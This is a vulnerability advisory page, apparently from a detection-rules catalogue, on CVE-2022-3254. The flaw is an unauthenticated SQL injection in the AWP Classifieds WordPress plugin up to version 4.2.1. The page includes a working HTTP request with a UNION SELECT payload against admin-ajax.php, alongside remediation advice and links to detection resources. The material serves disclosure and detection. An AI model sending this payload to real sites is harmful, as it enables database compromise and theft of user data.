🔙 목록으로 돌아가기

CVE-2022-3254: AWP Classifieds <= 4.2.1 - Unauthenticated SQL Injection

TitleAWP Classifieds <= 4.2.1 - Unauthenticated SQL Injection
AuthorShivam Kamboj
SeverityCritical
ImpactAttackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or full database compromise.
RemediationUpdate to version 4.3 or later.
Tags cve cve2022 sqli wordpress wp-plugin awpcp unauth wp

🔍 Vulnerability Description

WordPress Classifieds Plugin before 4.3 contains a SQL injection caused by improper sanitization and escaping of parameters in an AJAX action, letting unauthenticated attackers execute arbitrary SQL commands, exploit requires the premium module to be active.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=awpcp-get-regions-options&context=search&parent_type=country&parent=test&type=id`+FROM+wp_users+WHERE+1=0+UNION+SELECT+VERSION();--+- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3254.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-3254.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A